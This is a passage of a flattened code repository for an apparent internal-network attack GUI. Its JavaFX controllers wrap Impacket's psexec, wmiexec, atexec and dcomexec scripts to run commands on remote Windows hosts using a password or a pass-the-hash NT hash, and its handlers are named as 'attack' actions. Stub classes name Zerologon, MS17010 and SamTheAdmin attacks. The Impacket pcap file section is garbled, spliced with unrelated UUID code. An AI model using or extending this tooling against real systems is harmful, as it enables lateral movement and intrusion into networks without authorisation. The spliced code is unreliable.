= 3 15 | DLT_AX25 = LINKTYPE_AX25 16 | NKTYPE_IEEE802_5 = 6 17 | DLT_IEEE802 = NKTYPE_IEEE802_5 18 | LINKTYPE_ARCNET_BSD = 7 19 | DLT_ARCNET = LINKTYPE_ARCNET_BSD 20 | LINKTYPE_SLIP = 8 21 | DLT_SLIP = LINKTYPE_SLIP 22 | LINKTYPE_PPP = 9 23 | DLT_PPP = LINKTYPE_PPP 24 | LINKTYPE_FDDI = 10 25 | DLT_FDDI = LINKTYPE_FDDI 26 | LINKTYPE_PPP_HDLC = 50 27 | DLT_PPP_SERIAL = LINKTYPE_PPP_HDLC 28 | LINKTYPE_PPP_ETHER = 51 29 | DLT_PPP_ETHER = LINKTYPE_PPP_ETHER 30 | LINKTYPE_ATM_RFC1483 = 100 31 | DLT_ATM_RFC1483 = LINKTYPE_ATM_RFC1483 32 | LINKTYPE_RAW = 101 33 | DLT_RAW = LINKTYPE_RAW 34 | LINKTYPE_C_HDLC = 104 35 | DLT_C_HDLC = LINKTYPE_C_HDLC 36 | LINKTYPE_IEEE802_11 = 105 37 | DLT_IEEE802_11 = LINKTYPE_IEEE802_11 38 | LINKTYPE_FRELAY = 107 39 | DLT_FRELAY = LINKTYPE_FRELAY 40 | LINKTYPE_LOOP = 108 41 | DLT_LOOP = LINKTYPE_LOOP 42 | LINKTYPE_LINUX_SLL = 113 43 | DLT_LINUX_SLL = LINKTYPE_LINUX_SLL 44 | LINKTYPE_LTALK = 114 45 | DLT_LTALK = LINKTYPE_LTALK 46 | LINKTYPE_PFLOG = 117 47 | DLT_PFLOG = LINKTYPE_PFLOG 48 | LINKTYPE_IEEE802_11_PRISM = 119 49 | DLT_PRISM_HEADER = LINKTYPE_IEEE802_11_PRISM 50 | LINKTYPE_IP_OVER_FC = 122 51 | DLT_IP_OVER_FC = LINKTYPE_IP_OVER_FC 52 | LINKTYPE_SUNATM = 123 53 | DLT_SUNATM = LINKTYPE_SUNATM 54 | LINKTYPE_IEEE802_11_RADIOTAP = 127 55 | DLT_IEEE802_11_RADIO = LINKTYPE_IEEE802_11_RADIOTAP 56 | LINKTYPE_ARCNET_LINUX = 129 57 | DLT_ARCNET_LINUX = LINKTYPE_ARCNET_LINUX 58 | LINKTYPE_APPLE_IP_OVER_IEEE1394 = 138 59 | DLT_APPLE_IP_OVER_IEEE1394 = LINKTYPE_APPLE_IP_OVER_IEEE1394 60 | LINKTYPE_MTP2_WITH_PHDR = 139 61 | DLT_MTP2_WITH_PHDR = LINKTYPE_MTP2_WITH_PHDR 62 | LINKTYPE_MTP2 = 140 63 | DLT_MTP2 = LINKTYPE_MTP2 64 | LINKTYPE_MTP3 = 141 65 | DLT_MTP3 = LINKTYPE_MTP3 66 | LINKTYPE_SCCP = 142 67 | DLT_SCCP = LINKTYPE_SCCP 68 | LINKTYPE_DOCSIS = 143 69 | DLT_DOCSIS = LINKTYPE_DOCSIS 70 | LINKTYPE_LINUX_IRDA = 144 71 | DLT_LINUX_IRDA = LINKTYPE_LINUX_IRDA 72 | LINKTYPE_IEEE802_11_AVS = 163 73 | DLT_IEEE802_11_RADIO_AVS = LINKTYPE_IEEE802_11_AVS 74 | LINKTYPE_BACNET_MS_TP = 165 75 | DLT_BACNET_MS_TP = LINKTYPE_BACNET_MS_TP 76 | LINKTYPE_PPP_PPPD = 166 77 | DLT_PPP_PPPD = LINKTYPE_PPP_PPPD 78 | LINKTYPE_GPRS_LLC = 169 79 | DLT_GPRS_LLC = LINKTYPE_GPRS_LLC 80 | LINKTYPE_LINUX_LAPD = 177 81 | DLT_LINUX_LAPD = LINKTYPE_LINUX_LAPD 82 | LINKTYPE_BLUETOOTH_HCI_H4 = 187 83 | DLT_BLUETOOTH_HCI_H4 = LINKTYPE_BLUETOOTH_HCI_H4 84 | LINKTYPE_USB_LINUX = 189 85 | DLT_USB_LINUX = LINKTYPE_USB_LINUX 86 | LINKTYPE_PPI = 192 87 | DLT_PPI = LINKTYPE_PPI 88 | LINKTYPE_IEEE802_15_4 = 195 89 | DLT_IEEE802_15_4 = LINKTYPE_IEEE802_15_4 90 | LINKTYPE_SITA = 196 91 | DLT_SITA = LINKTYPE_SITA 92 | LINKTYPE_ERF = 197 93 | DLT_ERF = LINKTYPE_ERF 94 | LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR = 201 95 | DLT_BLUETOOTH_HCI_H4_WITH_PHDR = LINKTYPE_BLUETOOTH_HCI_H4_WITH_PHDR 96 | LINKTYPE_AX25_KISS = 202 97 | DLT_AX25_KISS = LINKTYPE_AX25_KISS 98 | LINKTYPE_LAPD = 203 99 | DLT_LAPD = LINKTYPE_LAPD 100 | LINKTYPE_PPP_WITH_DIR = 204 101 | DLT_PPP_WITH_DIR = LINKTYPE_PPP_WITH_DIR 102 | LINKTYPE_C_HDLC_WITH_DIR = 205 103 | DLT_C_HDLC_WITH_DIR = LINKTYPE_C_HDLC_WITH_DIR 104 | LINKTYPE_FRELAY_WITH_DIR = 206 105 | DLT_FRELAY_WITH_DIR = LINKTYPE_FRELAY_WITH_DIR 106 | LINKTYPE_IPMB_LINUX = 209 107 | DLT_IPMB_LINUX = LINKTYPE_IPMB_LINUX 108 | LINKTYPE_IEEE802_15_4_NONASK_PHY = 215 109 | DLT_IEEE802_15_4_NONASK_PHY = LINKTYPE_IEEE802_15_4_NONASK_PHY 110 | LINKTYPE_USB_LINUX_MMAPPED = 220 111 | DLT_USB_LINUX_MMAPPED = LINKTYPE_USB_LINUX_MMAPPED 112 | LINKTYPE_FC_2 = 224 113 | DLT_FC_2 = LINKTYPE_FC_2 114 | LINKTYPE_FC_2_WITH_FRAME_DELIMS = 225 115 | DLT_FC_2_WITH_FRAME_DELIMS = LINKTYPE_FC_2_WITH_FRAME_DELIMS 116 | LINKTYPE_IPNET = 226 117 | DLT_IPNET = LINKTYPE_IPNET 118 | LINKTYPE_CAN_SOCKETCAN = 227 119 | DLT_CAN_SOCKETCAN = LINKTYPE_CAN_SOCKETCAN 120 | LINKTYPE_IPV4 = 228 121 | DLT_IPV4 = LINKTYPE_IPV4 122 | LINKTYPE_IPV6 = 229 123 | DLT_IPV6 = LINKTYPE_IPV6 124 | LINKTYPE_IEEE802_15_4_NOFCS = 230 125 | DLT_IEEE802_15_4_NOFCS = LINKTYPE_IEEE802_15_4_NOFCS 126 | LINKTYPE_DBUS = 231 127 | DLT_DBUS = LINKTYPE_DBUS 128 | LINKTYPE_DVB_CI = 235 129 | DLT_DVB_CI = LINKTYPE_DVB_CI 130 | LINKTYPE_MUX27010 = 236 131 | DLT_MUX27010 = LINKTYPE_MUX27010 132 | LINKTYPE_STANAG_5066_D_PDU = 237 133 | DLT_STANAG_5066_D_PDU = LINKTYPE_STANAG_5066_D_PDU 134 | LINKTYPE_NFLOG = 239 135 | DLT_NFLOG = LINKTYPE_NFLOG 136 | LINKTYPE_NETANALYZER = 240 137 | DLT_NETANALYZER = LINKTYPE_NETANALYZER 138 | LINKTYPE_NETANALYZER_TRANSPARENT = 241 139 | DLT_NETANALYZER_TRANSPARENT = LINKTYPE_NETANALYZER_TRANSPARENT 140 | LINKTYPE_IPOIB = 242 141 | DLT_IPOIB = LINKTYPE_IPOIB 142 | LINKTYPE_MPEG_2_TS = 243 143 | DLT_MPEG_2_TS = LINKTYPE_MPEG_2_TS 144 | LINKTYPE_NG40 = 244 145 | DLT_NG40 = LINKTYPE_NG40 146 | LINKTYPE_NFC_LLCP = 245 147 | DLT_NFC_LLCP = LINKTYPE_NFC_LLCP 148 | LINKTYPE_INFINIBAND = 247 149 | DLT_INFINIBAND = LINKTYPE_INFINIBAND 150 | LINKTYPE_SCTP = 248 151 | DLT_SCTP = LINKTYPE_SCTP 152 | LINKTYPE_USBPCAP = 249 153 | DLT_USBPCAP = LINKTYPE_USBPCAP 154 | LINKTYPE_RTAC_SERIAL = 250 155 | DLT_RTAC_SERIAL = LINKTYPE_RTAC_SERIAL 156 | LINKTYPE_BLUETOOTH_LE_LL = 251 157 | DLT_BLUETOOTH_LE_LL = LINKTYPE_BLUETOOTH_LE_LL 158 | LINKTYPE_NETLINK = 253 159 | DLT_NETLINK = LINKTYPE_NETLINK 160 | LINKTYPE_BLUETOOTH_LINUX_MONITOR = 254 161 | DLT_BLUETOOTH_LINUX_MONITOR = LINKTYPE_BLUETOOTH_LINUX_MONITOR 162 | LINKTYPE_BLUETOOTH_BREDR_BB = 255 163 | DLT_BLUETOOTH_BREDR_BB = LINKTYPE_BLUETOOTH_BREDR_BB 164 | LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR = 256 165 | DLT_BLUETOOTH_LE_LL_WITH_PHDR = LINKTYPE_BLUETOOTH_LE_LL_WITH_PHDR 166 | LINKTYPE_PROFIBUS_DL = 257 167 | DLT_PROFIBUS_DL = LINKTYPE_PROFIBUS_DL 168 | LINKTYPE_PKTAP = 258 169 | DLT_PKTAP = LINKTYPE_PKTAP 170 | LINKTYPE_EPON = 259 171 | DLT_EPON = LINKTYPE_EPON 172 | LINKTYPE_IPMI_HPM_2 = 260 173 | DLT_IPMI_HPM_2 = LINKTYPE_IPMI_HPM_2 174 | -------------------------------------------------------------------------------- /plugins/impacket/pcapfile.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | 10 | from impacket import structure 11 | 12 | O_ETH = 0 13 | O_IP = 1 14 | O_ARP = 1 15 | O_UDP = 2 16 | O_TCP = 2 17 | O_ICMP = 2 18 | O_UDP_DATA = 3 19 | O_ICMP_DATA = 3 20 | 21 | MAGIC = '"\xD4\xC3\xB2\xA1' 22 | 23 | class PCapFileHeader(structure.Structure): 24 | structure = ( 25 | ('magic', MAGIC), 26 | ('versionMajor', 'HHL', uuid[8:16]) 37 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 38 | 39 | 40 | def string_to_bin(uuid): 41 | # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is 42 | if '-' not in uuid: 43 | return binascii.unhexlify(uuid) 44 | 45 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID 46 | # The first three components of the UUID are little-endian, and the last two are big-endian 47 | matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})", 48 | uuid) 49 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] 50 | uuid = pack('HHL', uuid4, uuid5, uuid6) 52 | return uuid 53 | 54 | 55 | def stringver_to_bin(s): 56 | (maj, min) = s.split('.') 57 | return pack(' 2 | 5 | 4.0.0 6 | 7 | org.springframework.boot 8 | spring-boot-starter-parent 9 | 2.7.8 10 | 11 | 12 | groupId 13 | J8-GUI 14 | 1.0-SNAPSHOT 15 | 16 | 1.8 17 | 18 | 19 | 20 | 21 | org.apache.commons 22 | commons-lang3 23 | 3.3.2 24 | 25 | 26 | 27 | cn.hutool 28 | hutool-all 29 | 5.8.20 30 | 31 | 32 | 33 | com.hierynomus 34 | smbj 35 | 0.12.0 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | org.springframework.boot 44 | spring-boot-maven-plugin 45 | 46 | sample.Main 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /src/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/.DS_Store -------------------------------------------------------------------------------- /src/main/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/.DS_Store -------------------------------------------------------------------------------- /src/main/java/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/.DS_Store -------------------------------------------------------------------------------- /src/main/java/com/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/com/.DS_Store -------------------------------------------------------------------------------- /src/main/java/com/ajie/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/com/ajie/.DS_Store -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/private-null/Intranet-tools/1f2f1439d94ce5323c4c3a757f3ebb71de38a324/src/main/java/com/ajie/controller/.DS_Store -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/ATexec/CiphermodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.ATexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.InputStreamReader; 8 | import java.util.ArrayList; 9 | 10 | public class CiphermodeController { 11 | public CiphermodeController(TextArea a_m_area, TextField a_m_cmd, TextField a_m_ip, TextField a_m_pass, TextField a_m_user) { 12 | 13 | String ip = a_m_ip.getText(); 14 | String user = a_m_user.getText(); 15 | String pass = a_m_pass.getText(); 16 | String cmd = a_m_cmd.getText(); 17 | try { 18 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/atexec.py"; 19 | ArrayList command = new ArrayList<>(); 20 | command.add("python3"); 21 | command.add(pluginPath); 22 | command.add(user + ":" + pass + "@" + ip); 23 | command.add(cmd); 24 | ProcessBuilder processBuilder = new ProcessBuilder(command); 25 | processBuilder.redirectErrorStream(true); 26 | Process process = processBuilder.start(); 27 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 28 | String line; 29 | while ((line = reader.readLine()) != null) { 30 | a_m_area.appendText(line + "\n"); 31 | } 32 | reader.close(); 33 | process.waitFor(); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/ATexec/HashmodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.ATexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.InputStreamReader; 8 | import java.util.ArrayList; 9 | 10 | public class HashmodeController { 11 | public HashmodeController(TextArea a_h_area, TextField a_h_cmd, TextField a_h_ip, TextField a_h_hash, TextField a_h_user){ 12 | String ip = a_h_ip.getText(); 13 | String user = a_h_user.getText(); 14 | String hash = a_h_hash.getText(); 15 | String cmd = a_h_cmd.getText(); 16 | try { 17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/atexec.py"; 18 | ArrayList command = new ArrayList<>(); 19 | command.add("python3"); 20 | command.add(pluginPath); 21 | command.add("-hashes"); 22 | command.add("00000000000000000000000000000000:" + hash); 23 | command.add(user + "@" + ip); 24 | command.add(cmd); 25 | ProcessBuilder processBuilder = new ProcessBuilder(command); 26 | processBuilder.redirectErrorStream(true); 27 | Process process = processBuilder.start(); 28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 29 | String line; 30 | while ((line = reader.readLine()) != null) { 31 | a_h_area.appendText(line + "\n"); 32 | } 33 | reader.close(); 34 | process.waitFor(); 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/AllController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller; 2 | 3 | 4 | 5 | import javafx.fxml.FXML; 6 | import javafx.scene.control.ChoiceBox; 7 | import javafx.scene.control.TextArea; 8 | import javafx.scene.control.TextField; 9 | import javafx.scene.input.MouseEvent; 10 | 11 | 12 | public class AllController { 13 | @FXML 14 | private TextArea w_m_area; 15 | 16 | 17 | @FXML 18 | private TextField w_m_cmd; 19 | 20 | @FXML 21 | private TextField w_m_ip; 22 | 23 | @FXML 24 | private TextField w_m_pass; 25 | 26 | @FXML 27 | private TextField w_m_user; 28 | 29 | @FXML 30 | private TextArea w_h_area; 31 | 32 | @FXML 33 | private TextField w_h_cmd; 34 | 35 | @FXML 36 | private TextField w_h_hash; 37 | 38 | @FXML 39 | private TextField w_h_ip; 40 | 41 | @FXML 42 | private TextField w_h_user; 43 | 44 | @FXML 45 | private TextArea p_m_area; 46 | 47 | @FXML 48 | private TextField p_m_cmd; 49 | 50 | @FXML 51 | private TextField p_m_ip; 52 | 53 | @FXML 54 | private TextField p_m_pass; 55 | 56 | @FXML 57 | private TextField p_m_user; 58 | 59 | @FXML 60 | private TextArea p_h_area; 61 | 62 | @FXML 63 | private TextField p_h_cmd; 64 | 65 | @FXML 66 | private TextField p_h_hash; 67 | 68 | @FXML 69 | private TextField p_h_ip; 70 | 71 | @FXML 72 | private TextField p_h_user; 73 | 74 | @FXML 75 | private TextField s_h_cmd; 76 | 77 | @FXML 78 | private TextField s_h_hash; 79 | 80 | @FXML 81 | private TextField s_h_ip; 82 | 83 | @FXML 84 | private TextArea s_h_srea; 85 | 86 | @FXML 87 | private TextField s_h_user; 88 | 89 | @FXML 90 | private TextArea s_m_area; 91 | 92 | @FXML 93 | private TextField s_m_cmd; 94 | 95 | @FXML 96 | private TextField s_m_ip; 97 | 98 | @FXML 99 | private TextField s_m_pass; 100 | 101 | @FXML 102 | private TextField s_m_user; 103 | 104 | @FXML 105 | private TextArea a_h_area; 106 | 107 | @FXML 108 | private TextField a_h_cmd; 109 | 110 | @FXML 111 | private TextField a_h_hash; 112 | 113 | @FXML 114 | private TextField a_h_ip; 115 | 116 | @FXML 117 | private TextField a_h_user; 118 | 119 | @FXML 120 | private TextArea a_m_area; 121 | 122 | @FXML 123 | private TextField a_m_cmd; 124 | 125 | @FXML 126 | private TextField a_m_ip; 127 | 128 | @FXML 129 | private TextField a_m_pass; 130 | 131 | @FXML 132 | private TextField a_m_user; 133 | 134 | @FXML 135 | private TextArea d_h_area; 136 | 137 | 138 | @FXML 139 | private TextField d_h_cmd; 140 | 141 | @FXML 142 | private TextField d_h_hash; 143 | 144 | @FXML 145 | private TextField d_h_ip; 146 | 147 | @FXML 148 | private TextField d_h_user; 149 | 150 | @FXML 151 | private TextArea d_m_area; 152 | 153 | @FXML 154 | private TextField d_m_cmd; 155 | 156 | @FXML 157 | private TextField d_m_ip; 158 | 159 | @FXML 160 | private TextField d_m_pass; 161 | 162 | @FXML 163 | private TextField d_m_user; 164 | 165 | 166 | @FXML 167 | void m_attack(MouseEvent event) { 168 | new com.ajie.controller.wmiexec.CiphermodeController(w_m_area,w_m_cmd,w_m_ip,w_m_pass,w_m_user); 169 | } 170 | 171 | 172 | @FXML 173 | void m_clear(MouseEvent event) { 174 | w_m_area.clear(); 175 | } 176 | 177 | 178 | @FXML 179 | void w_h_attack(MouseEvent event) { 180 | new com.ajie.controller.wmiexec.HashmodeController(w_h_area, w_h_cmd, w_h_ip, w_h_hash, w_h_user); 181 | 182 | } 183 | 184 | @FXML 185 | void w_h_clear(MouseEvent event) { 186 | w_h_area.clear(); 187 | } 188 | 189 | 190 | @FXML 191 | void p_m_attack(MouseEvent event) { 192 | new com.ajie.controller.psexec.CiphermodeController(p_m_area, p_m_cmd, p_m_ip, p_m_pass, p_m_user); 193 | } 194 | 195 | @FXML 196 | void p_m_clear(MouseEvent event) { 197 | p_m_area.clear(); 198 | } 199 | 200 | @FXML 201 | void p_h_attack(MouseEvent event) { 202 | new com.ajie.controller.psexec.HashmodeController(p_h_area, p_h_cmd, p_h_ip, p_h_hash, p_h_user); 203 | } 204 | 205 | @FXML 206 | void p_h_clear(MouseEvent event) { 207 | p_h_area.clear(); 208 | } 209 | 210 | @FXML 211 | void s_h_attack(MouseEvent event) { 212 | // 213 | } 214 | 215 | @FXML 216 | void s_h_clear(MouseEvent event) { 217 | // 218 | } 219 | 220 | @FXML 221 | void s_m_attack(MouseEvent event) { 222 | // 223 | } 224 | 225 | @FXML 226 | void s_m_clear(MouseEvent event) { 227 | // 228 | } 229 | 230 | @FXML 231 | void a_h_attack(MouseEvent event) { 232 | new com.ajie.controller.ATexec.HashmodeController(a_h_area, a_h_cmd, a_h_ip, a_h_hash, a_h_user); 233 | } 234 | 235 | @FXML 236 | void a_h_clear(MouseEvent event) { 237 | a_h_area.clear(); 238 | } 239 | 240 | @FXML 241 | void a_m_attack(MouseEvent event) { 242 | new com.ajie.controller.ATexec.CiphermodeController(a_m_area, a_m_cmd, a_m_ip, a_m_pass, a_m_user); 243 | } 244 | 245 | @FXML 246 | void a_m_clear(MouseEvent event) { 247 | a_m_area.clear(); 248 | } 249 | 250 | @FXML 251 | void d_m_attack(MouseEvent event) { 252 | new com.ajie.controller.DCOMexec.CiphermodeController(d_m_area, d_m_cmd, d_m_ip, d_m_pass, d_m_user); 253 | } 254 | 255 | @FXML 256 | void d_m_clear(MouseEvent event) { 257 | d_m_area.clear(); 258 | } 259 | @FXML 260 | void d_h_attack(MouseEvent event) { 261 | new com.ajie.controller.DCOMexec.HashmodeController(d_h_area, d_h_cmd, d_h_ip, d_h_hash, d_h_user); 262 | } 263 | 264 | @FXML 265 | void d_h_clear(MouseEvent event) { 266 | d_h_area.clear(); 267 | } 268 | 269 | 270 | } 271 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/DCOMexec/CiphermodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.DCOMexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.InputStreamReader; 8 | import java.util.ArrayList; 9 | 10 | public class CiphermodeController { 11 | public CiphermodeController(TextArea d_m_area, TextField d_m_cmd, TextField d_m_ip, TextField d_m_pass, TextField d_m_user) { 12 | 13 | String ip = d_m_ip.getText(); 14 | String user = d_m_user.getText(); 15 | String pass = d_m_pass.getText(); 16 | String cmd = d_m_cmd.getText(); 17 | try { 18 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/dcomexec.py"; 19 | ArrayList command = new ArrayList<>(); 20 | command.add("python3"); 21 | command.add(pluginPath); 22 | command.add(user + ":" + pass + "@" + ip); 23 | command.add(cmd); 24 | ProcessBuilder processBuilder = new ProcessBuilder(command); 25 | processBuilder.redirectErrorStream(true); 26 | Process process = processBuilder.start(); 27 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 28 | String line; 29 | while ((line = reader.readLine()) != null) { 30 | d_m_area.appendText(line + "\n"); 31 | } 32 | reader.close(); 33 | process.waitFor(); 34 | } catch (Exception e) { 35 | e.printStackTrace(); 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/DCOMexec/HashmodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.DCOMexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.InputStreamReader; 8 | import java.util.ArrayList; 9 | 10 | public class HashmodeController { 11 | public HashmodeController(TextArea d_h_area, TextField d_h_cmd, TextField d_h_ip, TextField d_h_hash, TextField d_h_user){ 12 | String ip = d_h_ip.getText(); 13 | String user = d_h_user.getText(); 14 | String hash = d_h_hash.getText(); 15 | String cmd = d_h_cmd.getText(); 16 | try { 17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/dcomexec.py"; 18 | ArrayList command = new ArrayList<>(); 19 | command.add("python3"); 20 | command.add(pluginPath); 21 | command.add("-hashes"); 22 | command.add("00000000000000000000000000000000:" + hash); 23 | command.add(user + "@" + ip); 24 | command.add(cmd); 25 | ProcessBuilder processBuilder = new ProcessBuilder(command); 26 | processBuilder.redirectErrorStream(true); 27 | Process process = processBuilder.start(); 28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 29 | String line; 30 | while ((line = reader.readLine()) != null) { 31 | d_h_area.appendText(line + "\n"); 32 | } 33 | reader.close(); 34 | process.waitFor(); 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/DC_attack/FileSearchController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.DC_attack; 2 | 3 | public class FileSearchController { 4 | } 5 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/DC_attack/MS17010Controller.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.DC_attack; 2 | 3 | public class MS17010Controller { 4 | } 5 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/DC_attack/SamTheAdminController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.DC_attack; 2 | 3 | public class SamTheAdminController { 4 | } 5 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/DC_attack/ZerologonAttackController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.DC_attack; 2 | 3 | public class ZerologonAttackController { 4 | } 5 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/DC_attack/ZerologonScanController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.DC_attack; 2 | 3 | public class ZerologonScanController { 4 | } 5 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/SMBexec/CiphermodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.SMBexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | import java.io.BufferedReader; 6 | import java.io.IOException; 7 | import java.io.InputStreamReader; 8 | import java.io.OutputStream; 9 | import java.util.ArrayList; 10 | import java.util.Scanner; 11 | import java.util.regex.Matcher; 12 | import java.util.regex.Pattern; 13 | 14 | 15 | public class CiphermodeController { 16 | 17 | 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/SMBexec/HashmodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.SMBexec; 2 | 3 | public class HashmodeController { 4 | } 5 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/psexec/CiphermodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.psexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.IOException; 8 | import java.io.InputStreamReader; 9 | import java.util.ArrayList; 10 | 11 | public class CiphermodeController { 12 | 13 | public CiphermodeController(TextArea p_m_area, TextField p_m_cmd, TextField p_m_ip, TextField p_m_pass, TextField p_m_user){ 14 | 15 | String ip = p_m_ip.getText(); 16 | String user = p_m_user.getText(); 17 | String pass = p_m_pass.getText(); 18 | String cmd = p_m_cmd.getText(); 19 | try { 20 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/psexec.py"; 21 | ArrayList command = new ArrayList<>(); 22 | command.add("python3"); 23 | command.add(pluginPath); 24 | command.add(user + ":" + pass + "@" + ip); 25 | command.add(cmd); 26 | ProcessBuilder processBuilder = new ProcessBuilder(command); 27 | processBuilder.redirectErrorStream(true); 28 | Process process = processBuilder.start(); 29 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 30 | String line; 31 | while ((line = reader.readLine()) != null) { 32 | p_m_area.appendText(line + "\n"); 33 | } 34 | reader.close(); 35 | process.waitFor(); 36 | } catch (Exception e) { 37 | e.printStackTrace(); 38 | } 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/psexec/HashmodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.psexec; 2 | 3 | import javafx.scene.control.TextArea; 4 | import javafx.scene.control.TextField; 5 | 6 | import java.io.BufferedReader; 7 | import java.io.InputStreamReader; 8 | import java.util.ArrayList; 9 | 10 | public class HashmodeController { 11 | public HashmodeController(TextArea p_h_area, TextField p_h_cmd, TextField p_h_ip, TextField p_h_hash, TextField p_h_user){ 12 | String ip = p_h_ip.getText(); 13 | String user = p_h_user.getText(); 14 | String hash = p_h_hash.getText(); 15 | String cmd = p_h_cmd.getText(); 16 | try { 17 | String pluginPath = System.getProperty("user.dir") + "/plugins/examples/psexec.py"; 18 | ArrayList command = new ArrayList<>(); 19 | command.add("python3"); 20 | command.add(pluginPath); 21 | command.add("-hashes"); 22 | command.add("00000000000000000000000000000000:" + hash); 23 | command.add(user + "@" + ip); 24 | command.add(cmd); 25 | ProcessBuilder processBuilder = new ProcessBuilder(command); 26 | processBuilder.redirectErrorStream(true); 27 | Process process = processBuilder.start(); 28 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 29 | String line; 30 | while ((line = reader.readLine()) != null) { 31 | p_h_area.appendText(line + "\n"); 32 | } 33 | reader.close(); 34 | process.waitFor(); 35 | } catch (Exception e) { 36 | e.printStackTrace(); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/main/java/com/ajie/controller/wmiexec/CiphermodeController.java: -------------------------------------------------------------------------------- 1 | package com.ajie.controller.wmiexec; 2 | 3 | 4 | import javafx.scene.control.ChoiceBox; 5 | import javafx.scene.control.TextArea; 6 | import javafx.scene.control.TextField; 7 | 8 | import java.io.*; 9 | import java.util.ArrayList; 10 | 11 | public class CiphermodeController { 12 | 13 | public CiphermodeController( TextArea w_m_area, TextField w_m_cmd, TextField w_m_ip, TextField w_m_pass, TextField w_m_user) { 14 | String ip = w_m_ip.getText(); 15 | String user = w_m_user.getText(); 16 | String pass = 